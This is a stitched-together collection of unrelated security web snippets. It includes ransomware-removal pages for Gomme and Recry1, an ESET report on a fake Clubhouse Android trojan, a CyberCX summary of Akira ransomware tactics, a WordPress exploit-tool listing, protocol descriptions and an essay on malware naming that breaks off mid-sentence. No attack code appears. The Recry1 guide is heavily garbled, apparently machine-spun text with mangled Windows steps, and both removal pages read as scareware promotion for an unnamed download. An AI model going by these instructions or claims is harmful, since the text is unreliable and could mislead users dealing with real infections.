Browsing settings option. Reset Firefox Mozilla - Open the menu option of Firefox Mozilla and choose the “Help icon”. - From Help Menu, select Restart with Add-ons disabled option. - Firefox Safe Mode Window will appear on the screen. Press the Reset Firefox option. - A new confirmation message window will again appear on the screen. Press on Reset Firefox option again. Reset Internet Explorer - Open Internet Explorer and click on its Tool option. - Select Advance Option in Internet Options. - Click on Reset button. - Finally, confirm the reset option. Note: As you can see, the above mentioned manual procedure is very lengthy. In order to uninstall Gomme Ransomware (.gommemode Files) completely, all the above mentioned steps should be executed. Even if a single step mistakenly doesn’t get executed, your PC will still behave weirdly. In order to execute this cumbersome process, you need to have a technical expertise. If you are a novice user, it is better for you to opt for the automatic Gomme Ransomware (.gommemode Files) removal tool. With the of powerful scanning algorithm and advanced programming logics, any kind of PC malware threats will easily get detected and removed at the same time. During the execution of executing manual process to delete Gomme Ransomware (.gommemode Files), if you get stuck in between at any point of time then stop the manual process immediately. Don’t take any unsure steps because this could damage your System permanently. Rather, use the automatic Gomme Ransomware (.gommemode Files) removal method which is much more safe, convenient and time saving. Detailed Automatic Removal Instruction Download and run the automatic Gomme Ransomware (.gommemode Files) Remover Scanner. With few minutes, the whole process of installing the software will get completed. It has very rich graphical user interface so that even a novice user can easily use this anti-malware without any trouble. Steps to be followed Step1. Launch the tool. Two options will be displayed such as “System Guard” and “Scan Computer”. Select “Scan Computer Now” option for deep scanning of System hard-disk. Step2. The list of all the suspicious items will be shown in a serial order. You can categorized the suspicious files based on the drives in which they are located. Step3. The “Custom Scan” interface will be shown on the screen. This is an exclusive feature that allows user to scan a particular section or folder of the System hard-disk. Select the drive that is to be scanned and begin the scanning process. Step4. Enable the System Guard feature to protect the PC from severe Online threats. This will block all the upcoming threats without any manual involvement. Step5. Network Sentry is the special feature that secures Internet connectivity and browsing. Enable this feature for safe Online browsing. Step6. This is an automatic scanning option which allows user to preset the System scanning on a particular time. This is like a schedule scanning feature. Now, your PC will always remain safe from dangerous malware infections. What this automatic Anti-malware tool is the best System guard? - Malware Protection: Designed with advance programming logics to tackle and remove the latest rootkit that are used to install Trojan and rogue anti-spyware program. - 24*7 One-On-One Customer Support: This software contains Helpdesk which provide one to one support for handling any issue faced by the users. - Updated with latest definition: This software algorithm and programming logics are always updated regularly so that even the most latest PC threats gets detected and removed easily. The malware updates are done on regular basis so that complete protection is offered from latest malware threats. Just download and run the automatic Gomme Ransomware (.gommemode Files) removal tool and remove Gomme Ransomware (.gommemode Files) in hassle-free way.
Working with policies It is likely that you will create and enable more than one policy in your implementation. If you do, make sure that you prioritize the policies so that it is clear which policy should be executed first. Policies can be configured using the following simple steps: - Create the policy. - Configure the policy settings. - Apply filters to the policy. - Set a policy priority. Use priorities with your policies to make sure that they are executed correctly. Also, note that unfiltered policies take precedence over filtered policies. In XenDesktop Studio, policy settings are grouped into two main categories as follows: - Machine policy settings: These settings are used to control the behavior of virtual desktops and are applied ...
In an attempt to capitalize on the Clubhouse’s popularity, cybercriminals distribute a fake application with malware that aims to steal login informationn of users for a wide variety of online services. Simulating to be the version for Android, of Clubhouse, the content app in audio format that is only accessed by invitation and whose version exists only for iPhone, the malicious package is distributed from a website that looks like a legitimate Clubhouse site. The Trojan, as revealed by security firm ESET, has the ability to steal victims’ login details for at least 458 online services. The list includes the access credentials to cryptocurrency exchange applications, financial apps and to make purchases, as well as social networks and messaging platforms. The two opposing versions: the original and the false one that steals data. In addition to this, services such as Twitter, WhatsApp, Facebook, Amazon, Netflix, Outlook, eBay, Coinbase, Plus500, Cash App, BBVA and Lloyds Bank are present on the list. “The website looks like the real thing. It’s a well-done copy of the legitimate Clubhouse website though. However, once the user clicks ‘Get it on Google Play’, the application will automatically download to the user’s device, “says Lukas Stefanko, the ESET researcher who identified the Trojan. Legitimate websites always redirect the user to Google Play instead of directly downloading the Android Package Kit (APK), ”Stefanko mentions. The firm warns that even before pressing the button to access the application some signs are identified that something is out of place. For example, the connection is not secure (HTTP instead of HTTPS) or the site uses the top-level domain “.mobi” (TLD) instead of “.com”. as used by the legitimate application. Experts point out that the fact that the name of the downloaded application is “Install” instead of “Clubhouse” should act as an instant red flag. Another sign is that although Clubhouse is planning to release the Android version of its app soon, lThe platform is still available only for iPhones. Once the victim falls for the trap and downloads and installs BlackRock, the Trojan tries to steal your credentials using an overlay attack, known in English as overlay attack. In other words, every time a user launches an application from a listed service on their phone, the malware will create a screen that will overlap the original app and will ask the user to log in. But instead of logging into the service, the user will have inadvertently handed over their credentials to cybercriminals. Using two-factor authentication (2FA) using SMS to prevent someone from gaining access to the accounts would not necessarily help in this case, since malware can also intercept text messages. The malicious app also prompts the victim to enable accessibility services, effectively allowing the victim to criminals take control of the device. “While this shows that the malware writer was probably a bit lazy in properly cloaking the downloaded application, it could also mean that even more sophisticated copies may be discovered in the future,” he warned. #fake #version #Clubhouse #Android #steals #mobile #accounts
RusRoute firewall 1.9Free Old versionsSee all RusRoute (routing firewall, Internet gateway) is an Internet gateway for local area network (LAN). It can be used to monitor and restrict user’s traffic, protect against network attacks by having NAT functions, redirect, shaper, VPN, proxy, etc. This application consists of two modules: one is the driver for intercepting Ethernet and IP packets (packets of Internet protocol version 4 - IPv4) and passing them to the second module: the firewall module.
Dr. Liting Hu is an Assistant Professor of Computer Science in the School of Computing and Information Sciences at Florida International University (FIU). She received her Ph.D. in Computer Science from Georgia Institute of Technology in 2016 under the supervision of Dr. Karsten Schwan. Her research interests span distributed systems, cloud and edge computing, distributed systems and system virtualization, with a focus on building scalable stream processing systems for emerging trends. She directs the Experimental and Virtualized Systems (ELVES) Research Lab, where she conducts experimental computer systems research. Examples include stream processing systems (with Spark Streaming, Storm, Flink), container as a service (with Docker and Kubernetes), identifying threats (e.g., fake news, rumors, social bots) in online social networks, and resource management in large-scale data centers (with Xen and KVM). She has served on numerous IEEE/ACM program committees and peer-reviewed more than a dozen journals. She interned at VMware, IBM Research, Microsoft Research Asian, and Intel labs at CMU. Her research has been funded by the NSF, Department of Homeland Security, and Cyber Florida. She was the recipient of an NSF SPX Award in 2019 and an NSF CAREER Award in 2020.
WordPress exploiting tools WordPress exploiting tools are typically used for application security, application testing, vulnerability testing, web application analysis. Users for these tools include pentesters, security professionals. Wordpresscan (WordPress vulnerability scanner) application security, penetration testing, web application analysis Tools like WordPresscan are useful to perform vulnerability scans on the popular WordPress platform. It can be used during development and on existing installations. WordPress Exploit Framework (WordPress exploiting toolkit) penetration testing, security assessment, vulnerability scanning, web application analysis The WordPress Exploit Framework (WPXF) provides a set of tools to assess and exploit WordPress installations. It can be used for pentesting and red teaming assignments. The tool is less friendly for beginners, but more experienced pentesters will find no difficulty in using it. Missing a favorite tool in this list? Share a tool suggestion and we will review it.
1) The scanning account must be an administrator on the scanned computers. Alternate credentials are used if they are configured for the domain. If no alternate credentials are configured, the default windows credential is used. 2) Configure the Windows Firewall to enable remote administration. In a domain the easiest way to do this is to create a Group Policy: How to configure the windows firewall using group policies. 3) Configure active scanning for your domain.
Data Processing Errors Mozilla Network Security Services (NSS) before 3.20.2, as used in Mozilla Firefox before 43.0.2 and Firefox ESR 38.x before 38.5.2, does not reject MD5 signatures in Server Key Exchange messages in TLS 1.2 Handshake Protocol traffic, which makes it easier for man-in-the-middle attackers to spoof servers by triggering a collision. CWE-19 - Data Processing Errors Weaknesses in this category are typically found in functionality that processes data. Data processing is the manipulation of input to retrieve or save information.
From the Webpage Introduction: "The Traffic Light Protocol (TLP) was created in order to facilitate greater sharing of information. TLP is a set of designations used to ensure that sensitive information is shared with the appropriate audience. It employs four colors to indicate expected sharing boundaries to be applied by the recipient(s). TLP only has four colors; any designations not listed in this standard are not considered valid by FIRST [Forum of Incidence Response and Security Teams]. TLP provides a simple and intuitive schema for indicating when and how sensitive information can be shared, facilitating more frequent and effective collaboration. TLP is not a 'control marking' or classification scheme. TLP was not designed to handle licensing terms, handling and encryption rules, and restrictions on action or instrumentation of information. TLP labels and their definitions are not intended to have any effect on freedom of information or 'sunshine' laws in any jurisdiction. TLP is optimized for ease of adoption, human readability and person-to-person sharing; it may be used in automated sharing exchanges, but is not optimized for that use." Cybersecurity and Infrastructure Security Agency: https://www.cisa.gov/
RELP is the "Reliable Event Logging Protocol". It assures that no message is lost in transit, not even when connections breaks and a peer becomes unavailable. The current version of the RELP protocol has a minimal window of opportunity for message duplication after a session has been broken due to network problems. In this case, a few messages may be duplicated (a problem that also exists with plain tcp syslog). RELP addresses many shortcomings of the traditional plain tcp syslog protocol. For some insight into that, please have a look at http://blog.gerhards.net/2008/04/on-unreliability-of-plain-tcp-syslog.html. Please note that RELP is currently a proprietary protocol. So the number of interoperable implementations is limited. Note that for reliable operation where messages should be preserved over a service shutdown, queue cache mode must be activated.
LeArn More ABout Recry1 Ransomware: Recry1 Ransomware is an extremely dangerous Trojan horse infection which can attack computers that run Windows operating systems. It contains a drawn-out history alongside the making of the Windows oss. And presently, there are thousands types of Trojan malicious software that existed and circulated on the net that will take each shot to sneak onto gullible machines. This malware is developed by the users who we can call them cyber crooks as, and what they wish to do is to pull off illegitimate goals. Together with this Trojan malware, cyber hackers may have an opportunity to build illegitimate entry to the contaminated oss. It isn’t simple for computer users to catch the violation of the cyber criminals as on their systems since all the activity of this malicious software may be executed on the background. The minute the illicit link is built, cyber crooks can do all they wish on the affected operating system. Usually, they attempt to scam privacy data such as bank details, credit card data and passwords. This Recry1 Ransomware Trojan can include a keylogger in it, which shows when system people input the monetary content on the unclean systems, this trojan could file them and transmit to cyber cyber criminals as. It could be a disaster to have the fiscal details exposed out to somebody alongside malicious aim as they could use the data for other crimes. So, it isn’t sheltered anymore to keep private information on the corrupted device. Also, this Recry1 Ransomware malicious software can predicament up the full operating systems once it slithers into the target pcs. It may carry out changes to the os registry so that it might be activated from the startup. That’s to say, when the corrupted system is booted up, system user shall get quite a great deal of device mistakes during the use as this Trojan not merely alters machines mode, but plus contaminated device files. In other words the way for it to dodge being found and delete by anti-malicious software software. In addition, it might also divide itself onto a lot of branches and disguise in a lot of places on the difficult drive. What’s harsher, this threat can assistance a great many of other kinds of pc malware to come and generate etc. harms. Along with the Trojan existing on the background, operating system users will acquire lethargic efficiency on the affected oss because it could waste too greatly CPU resource. Brings on and Effects of Recry1 Ransomware Well, there are plenty brings on of this Recry1 Ransomware but among all few of them are terribly general. The biggest number of possibly this Trojan is induced by the application packing scheme. Its owners are added this Trojan together with some third party application and so as getting them from untrusted websites this Trojan is moreover slipping into in the system. Its another lead to is some email attachments record which sends from unknown pages. This Trojan is provoked by the bogus way of family document distribution and visiting illicit web pages. When user experience the deceitful checking assertions then moreover this trojan could infect the device. Coming on the effects of this Recry1 Ransomware, it is affecting the Windows operating systems in tons of techniques. It shall breach the pc security and authorize its approving log and procedures to move in the device. It is accountable to ruin the os functionalities and for reducing the os efficiency. The existence of this Trojan in device will result in forbidden change in operating system registries and in addition, it terminated some valuable registry entries. It hijacks or use unnecessary computer resource and connects your system to the internet criminals. This Trojan having keystroke capturing expertise so it scam the sensitive details which you feed net. It presents approval to the on the internet crooks to generate whole custody over your device and keeps tabs on your all motions. Thus it is mandatory to get rid of Recry1 Ransomware from your machine. How can you delete Recry1 Ransomware from your computer productively? Recry1 Ransomware is a malicious Trojan that may slither into your pc machine in various scheming techniques and then carries out all sorts of fraudulent movements on your system. It might reduce your operating system, unscrupulous your essential details and files, bring other infection, spy your processes, and scam personal data, etc. The sole method to dodge those disruptions is to in seconds rmeove the Trojan from your system. You could act in accordance with our instructions beneath to have it deleted promptly. Scheme 1: delete the Trojan in an automatic way by implementing a anti-spyware program. Way 2: terminate the Trojan by executing computer fix. Method 3:Step-by-step Guide to Remove Recry1 Ransomware Manually Method 1: Remove the Trojan automatically by using a malware removal tool. If pc recover doesn’t run, it is implied that you acquire rid of the dangerous Trojan by via an advanced malicious software removal tool which will in an automatic way examine for the viruses on your pc and erase them all indefinitely. Here are two tools recommended: Anti-Malware. Both software has been turned out to be able to notice and uninstall Recry1 Ransomware efficiently. Nowadays you can observe the guide beneath to in an automatic way erase the harmful Trojan via one of those utilities encouraged. Alternative 1: Use Anti-Malware Anti-parasite is particularly created to observe, get rid of and prevent advertisement supported applications, malicious software, hijacker, rootkits, keyloggers, worms and other viruses. âˆš right away stop, find and terminate the updated malicious software malware. âˆš threat definitions are up-to-date regular. âˆš free-of-charge technical advocate and custom implants for troublesome-to-kill parasite. Now you can obtain and set up Anti-threat to run a free-of-charge threat checking at the start. If Recry1 Ransomware and any other risks are detected in your machine, you may erase them by registering in Anti-Malware. Download Anti-parasite installation log on your machine desktop. The moment the getting is accomplished, detect and double-press the installation document to work on the machine. When a window appears as below, click the Run button. Opt for your likeable language. Click CONTINUE button. At the moment you can see the installation procedure. When you are prompted that the setup is successful, click the EXIT button. Anti-spyware will be started automaically. You may see its major screen as beneath. Now run a free malware scan by clicking on the Scan Computer Now button. Anti-infection now shall begin examining your Windows registry, files, and memory for any dangers. This examining procedure may take 30 moments or etc.. Please delay until the checking to be done. Earlier the examining is over, you could investigate all found perils. Anti-infection will showcase their comprehensive details in the outcome category. To remove all threats, just click the Fix Threats button. The biggest number of people fail to erase Recry1 Ransomware because of the point that the Trojan has arrived into all their repair points. Are you one among of them? Whether it is the case, you should better prefer another resolution, specifically operating a malicious software remover to aid you smoothly and productively eliminate this threat out of your device. Way 2: eliminate the Trojan by executing operating system recover. Sometimes, you can terminate a malicious programs from your PC by completing pc repair. Machine recover is a trait that permits you to fix your machine to a earlier date, a date at which you know it was usable well. But it ought to be stressed that, this way doesn’t operate, provided that the viruses has invaded the repair Points. Therefore, we cannot guarantee that you may erase Recry1 Ransomware productively by regaining your computer system. Anyway, just have a try. Observe these kinds of stages please. Note: Do not back up files to the same hard disk that Windows is installed on. For instance, don’t back up files to a retrieval partition. Always store media employed for backups (external problematic disks, DVDs, or CDs) in a shield place to avoid prohibited users from having entry to your files; A fireproof whereabouts individual from your device is advisable. You may also assume locking the information on your backup. For Windows XP Click Start > All Programs > Accessories > System Tools > System Restore. In the window that appears, tick Restore my computer to an earlier time option, then click the Next button. A new window will pop up, and you should select a restore point that possibly hasn’t been infected and then click Next button. Video On: via pc fix in Windows XP At this truth, you shall be prompted together with a affirmation as to whether or not you wish to repair the pc to the designated repair truth. Click the Next button to confirm. The device will shut down and reset, after doing some believing and producing some modifies. When all is being done, the pc will be retrieved to the claim it was in at the designated recover fact and all have to be well. For Windows 7 Click the Start button, and enter system restore into the search box.In the list of results, find and click on the program named System Restore. The pc readjust window will show up. Tick Choose a different restore point option and click Next button to select the desired restore point. Tick the checkbox labelling Show more restore points and select a restore point you wish to restore and then click Next button. Then, confirm your restore point by clicking the Finish button and click Yes button to continue. Hesitate for quite some time until the pc fix is done. For Windows 8 Right click the bottom left corner of the computer screen, and click Control Panel from the popup menu. In the open window,select Category from view by, and then click System and Security > System. A new window shall open and it is a must to discover and tap on Advanced os modes. A trivial window will show up. Under System Protection tab, click on System Restore. A window named System Restore will pop up. Then, click Choose a different restore point and click the Next button. Now choose a desirable restore point and click Next. After confirming your restore point, click Finish. When a trivial dialog box looks, press Yes button. Then the operating system readjust shall launch. Delay until the os repair is being done. Your os will be reset itself. Note:if you want to keep your computer away from malware, a best solution is to install a reliable anti-malware program such as Anti-Malware that can provide real-time protection, realize automatic updates, and quarantine or remove malware threats effectively. Press the button to get Anti-viruses obtained on your device at once! Method 3:Step-by-step Guide to Remove Recry1 Ransomware Manually Boot up your computer in Safe Mode with Networking. a. Tap the Power button at the Windows login screen or in the modes charm. Then, tap and hold the” switch” key on your keyboard and press reset. b. Tap on Troubleshoot and opt for advanced possibilities. Then press on Startup installation option and choose reset. Your system will reboot and exhibit nine startup mode. Now you can pick permit sheltered settings in bundles with Networking. Restart your pc and keep clicking F8 key until Windows Advanced choices menu movies up, then through arrow key to choose “sheltered settings alongside Networking” from the category and click go on to slither into that settings. Prevent Recry1 Ransomware connected procedures from the responsibility holder. Tap Ctrl+Alt+Delete or Ctrl+Shift+Esc >> tap responsibility owner >> Right tap the procedure you would like to end >> End responsibility (if you’re determined to investigate the background procedures, please tap etc. information. Tap the procedures you wish to end, and tap End responsibility.) Press on the begin button and favor Run alternative, category taskmgr and tap ok, responsibility owner shall keep popping up promptly. End Recry1 Ransomware and additional doubtful operating procedures. Get rid of Recry1 Ransomware related files in undisclosed folders. Pop up Folder choices from regulate Panel. Inspect the box of “exhibit undisclosed files and folders” and uninspect “lurk sheltered os files (Recommended)”, then tap “OK”. Uninstall all of fraudulent files of Recry1 Ransomware Stage 4: get rid of registry entries set up by Recry1 Ransomware Click Win+R to swich on the Run window >> category “regedit” or “regedit.exe” to the search bar >> tap “Ok” if you are demanded if you wish to open Registry Editor; Discover all the adverse keys, right tap on them and erase. Terminate Recry1 Ransomware From Mac OS X Hold down the alternative (Alt) key whilst searching at the Go menu in Finder. Entry invisible Library folder, spot clutter files and then terminate them Click the “Command,” “Option,” and “Escape” keys all simultaneously. This motion shall open the Force drop out of apps window. Tap on “Force drop out of.” Your browser shall force withdraw out of. Note:if you want to keep your computer away from malware, a best solution is to install a reliable anti-malware program such as Anti-Malware that can provide real-time protection, realize automatic updates, and quarantine or remove malware threats effectively. Tap on the button to get Anti-infection obtained on your system right away! Most often, we realize that our computers had been infected with virus or malware until our PCs started behaving in an unusual way. It is already too late. As noted former, computer network isn’t a sheltered place. Criminals are attempting to entry to your device and distribute harmful applications via all kinds of false methods. To safeguard our PCs from malicious programs threat, it is exceedingly vital that you take a credible preventive measure. Thus, you may appreciate a sheltered web environment. Here are some handy prompts listed underneath you should keep in mind. Ensure you are via a smart anti-malware utility and a genuine-time Anti-malicious software utility. If you don’t have the advanced antivirus/anti-viruses tool set up, we’re inclined to suggest useful Virus/viruses removal programs to you strongly advised to You: Plumbytes Anti-malicious software – decent Anti-malware application Anti-malicious software – authentic-Time Anti-malicious software Program After getting and installing, run the free-of-charge Scanner to scan your computer repeatedly. Stay away from pop-ups when surfing the web. Tons of irritating pop-ups conceal malicious software or viruses relation. Maybe a straightforward tap infections or malicious software will in an automatic way set up on device. Don’t equip the same password on a web page. The aim of doing in other words to avoid crooks extorting your account details. Provided that the page was taken over, your login account and passwords will be susceptible to criminals. Your sensitive info shall be at high danger. Cyber crooks can use your sensitive statistics to execute an illicit process or defraud. So it is extremely hugely important to to develop varying passwords on various pages. Favor credible site or official page to get free programs. When set uping the preferable tool, don’t discard to pick advanced or custom settings and deopt for any extra software which huddled with the program you are about to set up. Be wary when receiving a weird email. The biggest part of of spam emails are designed by cyber crooks as to circulate malware or infections. Don’t by chance open a strange email attachment from unknown sender. You’d better eliminate the moment gotten. Analysis uncovered that it has become a leading way for hackers to be distributed via spam emails. Recry1 Ransomware is such a damaging and bad Trojan malicious software that no issue if the device is detected entered, try your best to uninstall it from the machine as swiftly because you can to avoid it from doing more severe harms to your machine. The longer it remains, the decrease efficiency and slower speed you can obtain out of your machine, the etc. confidential or monetary details will be stolen and employed for illicit objectives, and hence the stronger disaster shall monitor. And via safely investigating the techniques of being corrupted noted earlier, you might be inspired somewhat well and have a chance to arise along with some handy ways to aid you avoid the Recry1 Ransomware and a majority of other akin Trojan virus.Because the manual termination process includes in handling confidential and really important to files and statistics stored in the pc, any errors or overlooks might result in extremely important mistakes and even producing the pc breach down wholly instantaneously. The faster you take movement, the fewer harms you will endure. Manual Removal Instructions Recry1 Ransomware Removal from Windows Uninstall from Windows XP: - Open the Start menu and click Control Panel. - Double-click Add or Remove Programs. - Select and Remove the undesirable software. Uninstall from Windows Vista and Windows 7: 1. Click the Windows icon on the Taskbar and select Control Panel. 2. Click Uninstall a program and find the undesirable software. 3. Right-click and Uninstall the program you have chosen to remove. Uninstall from Windows 8: - Access the Metro UI menu, right-click on the screen and select All apps. - Open the Control Panel and click Uninstall. - Right-click the program you have chosen to remove and select Uninstall. How to remove Recry1 Ransomware from Browsers Delete Recry1 Ransomware from Internet Explorer - Right-click the IE shortcut and choose Properties. - Go to Shortcut tab and find the Target line. - Delete the text that is written after iexplore.exe” and click OK. - Launch your browser and press Alt+T. - Choose Manage Add-ons and move to Search providers. - Choose the unwanted engine and click Remove. - Click Close and press Alt+T again. - Select Options and go to General tab. - Change the Home Page and click OK. Remove Recry1 Ransomware from Mozilla Firefox - Right-click the Firefox shortcut and choose go to Properties. - Move to Shortcut tab and find the Target. - Erase the text after firefox.exe” and Click OK. - Open Mozilla Firefox and go to search box. - Click the search provider icon and choose Manage Search Engines. - Find the suspicious engine and remove it. - Click OK. - Press Alt+T and select Options. - Move to General tab and choose Home Page. - Replace the current Home Page with your preferred one. - Click OK. Delete Recry1 Ransomware from Google Chrome - Right-click the Chrome shortcut and go to Properties. - Choose Shortcut tab and move to Target line. - Delete the text after chrome.exe” and click OK. - Launch Chrome and tap Alt+T. - Go to Settings and check Open a specific page or set of pages. - Choose Set pages and change the given default URL to your preferred one. - Click OK. - Under Appearance mark Show Home button and select Change. - Change the provided URL with the one you prefer and click OK. - Under Search choose Manage search engines and find the URL of the unwanted engine. - Click X and delete it. - Click Done.
The CyberCX DFIR team has been engaged to assist in multiple investigations related to the Akira ransomware group, which has been seen affecting victims since April 2023. This article provides an overview of the logging and activities related to virtual machines in both Microsoft Hyper-V and VMware ESXi/vSphere environments. It explains how to review audit activity in the “hostd.log” file in ESXi, and provides an example of a log entry for the creation of a new virtual machine. It also explains how to review Windows authentication logs for standard or default Windows workstation names, which can be used to identify unmanaged devices connected to the network. The CyberCX DFIR team has been engaged to investigate multiple cases of Akira ransomware attacks since April 2023. The threat actor has been observed using a novel technique of deploying ransomware onto Windows Hyper-V hypervisor systems, which can cause major damage to attached virtual machines (VMs). Even when Windows-based hypervisor and target virtual machines are running prominent Endpoint Detection & Response (EDR) tooling, the threat actor has been observed circumventing this by creating new, unmonitored, VMs on the hypervisor, from which they can navigate directories on the hypervisor and execute their ransomware. Initial access is typically obtained through info stealers and credential marketplaces. Intrusion activities include scanning the network, enumeration of data available in the Active Directory, identifying sensitive information on file shares and servers to exfiltrate, and installing SystemBC and creating a scheduled task to remain persistent. To evade detection, the threat actor has been observed attempting to disable EDR using a Bring Your Own Vulnerable Driver (BYOVD) attack. In early June, a GitHub user ZeroMemoryEx created a tool also named Terminator with the same functionality and published their source code on GitHub. Within 3-5 days of the open-source release of Terminator, the threat actor attempted to use this tool to evade detection. Exploiting a vulnerability in the Akira ransomware implementation allows for the possibility of decryption without paying the ransom, however there are a few limitations. CyberCX confirmed the vulnerability and developed a working capability to decrypt encrypted data under certain circumstances shortly before the public release of the flaw by Avast. By 7 July 2023, Akira had patched the vulnerability and newer samples did not have the vulnerable code. In vSphere/ESXi environments, the threat actor may apply different approaches to different ESXi hosts, including encryption through ransomware, changing the root password, or in some cases doing nothing to the hypervisor. In cases where the threat actor did not (or perhaps could not) 📓 Weaponising VMs to bypass EDR – Akira ransomware 👉🏽 The CyberCX DFIR team has been engaged to assist in multiple investigations related to the Akira ransomware group, which has been seen affecting victims since April 2023. 👉🏽 Overview of logging and activities related to virtual machines in Hyper-V and vSphere environments. 👉🏽 Reviewing audit activity in the "hostd.log" file in ESXi and its importance. 👉🏽 Example log entry for the creation of a new virtual machine. 👉🏽 Reviewing Windows authentication logs to identify unmanaged devices connected to the network. 👉🏽 Investigation of Akira ransomware attacks by the CyberCX DFIR team. 👉🏽 Novel technique of deploying ransomware onto Windows Hyper-V hypervisor systems. 👉🏽 Circumventing Endpoint Detection & Response (EDR) tooling by creating unmonitored VMs. 👉🏽 Initial access through info stealers and credential marketplaces. 👉🏽 Intrusion activities including scanning the network, enumeration, and exfiltration. 👉🏽 Attempts to disable EDR using a Bring Your Own Vulnerable Driver (BYOVD) attack. 🔗 source link: https://cybercx.co.nz/blog/akira-ransomware/ #Logging #VirtualMachines #Ransomware #ThreatActor #Vulnerability
EternalPetya has more than 10 different names. Many do not realize that CryptoLocker is long dead. These are not isolated cases but symptoms of a systemic problem: The way we name malware does not work. Why does it happen and how can we solve it? Malware names are not clear. Neither the terms related to them have a common understanding, nor the names themselves. There is no common standard. There is no institution, database or organization that has an exhaustive list of malware names and their definition. Our current use of malware names and their creation suffer from the following problems. \|Malware families and variants have several names\|\|EternalPetya probably holds the record. Some of its names (not exhaustive): NonPetya, NotPetya, Petna, ExPetr, Pnyetya, Nyetya, nPetya, BadRabbit, EternalBluePetya, BluePetya, petrWrap.\| \|One name used simultaneously for several families\|\|The ransomware JesusCrypt in 2019 and a different JesusCrypt in 2021. Both use the .NET framework.\| \|Malware families are conflated with their detection name\|\|Malware prevalence reports by many antimalware companies write "malware family" but use detection names.\| \|Malware families are conflated with their loader, downloader, spreading campaign, threat actor(s), or packer\|\|Gootkit and its loader were conflated, although the loader also ships other families than Gootkit.\| \|The meaning of a name can change over time\|\|Nemucod was at first only a family and was later used to refer to malicious JScript downloaders in general.\| \|The meaning of a name can depend on the person or organization using it\|\|Artemis by McAfee does not refer to the malware family but to a detection technology.\| \|The same name is used for the family as well as the malware type\|\|CryptoLocker may refer to the ransomware family or file encrypting ransomware in general.\| As I explained in my previous article about detection names, the CARO Virus Naming Convention back in 1991 were an attempt to streamline malware naming and taxonomy. However, the threat landscape changed which made CARO's naming convention outdated. As a result the antimalware industry adopted and modified the CARO's naming convention to their own needs; but the purpose of these malware names shifted from identification to detection. Identification has the goal to determine the correct malware family and potentially also the variant. Detection has the goal to distinguish between clean, potentially unwanted and malicious files, registry entries, settings, events, or requests, so that the user's systems can be protected from harm. Big testing organizations like AV Test and AV Comparatives therefore test the detection capabilities of antimalware products, not their correct identification of malware. For antimalware products there is not much incentive to program their scanners for identification. They look like they identify and classify malware but they are doing a pretty bad job at this. A malware family is a group of malware samples that have a common code base. A malware variant is a subgroup of a malware family. Different malware variants have notable derivations from the code base of the family. One malware variant contains all samples that have the same derivation. An example for a malware family is Petya, whereas GoldenPetya and GreenPetya are variants of the Petya family. The most notable difference of these Petya variants is the color of their ransom note text. The terms malware family and malware variant should not be confused with the Family and Variant component in detection names. Detection names are readable names that map to certain detection signatures or technologies. Detection names are used by antimalware products and vendors. Because the purpose of detection names is not identification, they are not viable to be used that way. But as we can see in many malware prevalence reports, detection names are still assumed to represent malware variants, leading to confusing and wrong statements by media and news. Yes, detection names can contain malware family names in their Family component. However, it is not necessarily the correct one, nor is it clear if that part of the detection name is actually a family or an umbrella term or something else (see Detection naming conventions today). Yes, detection names contain a Variant component, but this component does not represent a malware variant. It is rather used either as a counter that increments with every added detection signature or it represents a hash value which might be a different one for every sample. The Variant component in detection names is crucial to the mapping for the detection technologies and signatures and used to identify and maintain them. Thus, they are an internal information that is only useful for the antimalware vendor. Now that the terms used in this article are clear, we will focus on how and by whom malware family names are created in order to answer these questions: What is actually the issue with this process? How can we make it better? Malware family names are mainly created by malware analysts. The general procedure is as follows. A malware analyst gets a sample to analyse. A primary analysis may tell them if the sample is a known malware family, e.g., because the analyst has seen this family before and recognizes strings in the binary, the code or the behaviour. If the malware analyst doesn't recognize the family, they search for clues on what it could be. This can be done via the following methods: Ideally the malware analyst now has assumptions what family it might be. They now cross-check their assumption with public analysis reports. This includes searching for aliases of the same family and checking them as well. Public analysis reports are crucial at this point. If no malware family can be found or if the name is not suitable for the analyst's requirements, they create a new family name. Family name creation is a pet peeve of many malware analysts, especially those who analyse lots of samples a day to create detection signatures. They often just need quickly a name to tie it on their detection signature. Time is crucial, especially if there is a current malware outbreak on customer's systems. Remember: detection names are nothing more than mappings to the detection signature. The family part of the detection name can feel particularly frustrating if it is holding one back to commit the signature. How often did I end up in this situation: All of the mentioned names, companies, persons and offensive words, are not suitable to be used as malware family names. Additionally trademarks, products and common words are not permitted. No person or organization would like to see themselves associated to a malware. Side note: Company or product names may show up in detection names if it is a PUP (=potentially unwanted software) detection. But that's not the same as a malware family name. In many antimalware companies it is also not permitted to use the name that the malware author intended. The reason is that the malware author should not get any fame for their product. Apart from this process, what strings are actually used to create or derive a family name? As I mentioned above the analyst cross-checks unique strings as well as project names with known family names. If no known family names come up, these strings are often used to derive the new family name. In some cases they are used verbatim, in others they are modified to fit to the naming policies. Malware authors often use racist, sexist, homomisic, ableist or plain offensive language that may bleed into their project names. It is obviously not suitbale for a family name. Apart from unique strings, analysts may also derive names from the sample's file path, its programming environment or language, its malware type and behaviour. E.g., PyCrypter is a mixture of Python and a file encrypting ransomware. The worm Conficker is a pun for "configure" and the German word "Ficker" which means "fucker" in English. In this case the rule to not use offensive words has been violated, but the name stuck. Malware analysts do not only use puns to derive names. They literally like to reverse (pun intended). E.g., the first versions of Nemucod loader used download URLs that contained "document.php". Nemucod is "documen"(t) backwards. The "t" was likely removed to make it pronouncable. Gootkit is a banker that was shipped with a very specific combination of PowerShell, JScript and .NET assembly to allow fileless persistence on the infected system. This loader, later dubbed GootLoader and GooLoad, was described in previous Gootkit articles but not specifically named. At some point the loader started shipping malware other than Gootkit, such as Gozi which is also a banker. Unaware of the situation, one of our malware analysts correctly identified such a sample as Gozi and wrote a signature that included patterns of GooLoad as well as Gozi. Due to the nature of the infection, fileless persistence via registry stuffing, our team created specific cleaning procedures for samples detected by this particular signature—Gozi in combination with GootLoader. New infections appeared later that shipped a different malware via GootLoader. The Gozi signature did not match anymore, but we identified many common strings in that signature for the old and new infections. Subsequent signatures contained only GooLoad strings but were also named Gozi. At this point I realized that team members had added the very same registry cleaning algorithm for certain Gootkit signatures as they did with Gozi. At that point I started to question the malware family identification. Most of our Gozi signatures contained GooLoad strings at that point, yet these strings were described in Gootkit articles. A few tweets and lots of research later it dawned on me that this malware did not have a name yet. I renamed the related Gootkit and Gozi signatures to GooLoad. I chose this name because "goo" means sticky substance and GooLoad is somewhat close to Gootkit loader but still different enough to not associate it as loader for Gootkit alone. While I was working on a blog article to clear up the confusion, Sophos researchers settled on the name GootLoader at the same time. So yes, I am at fault for 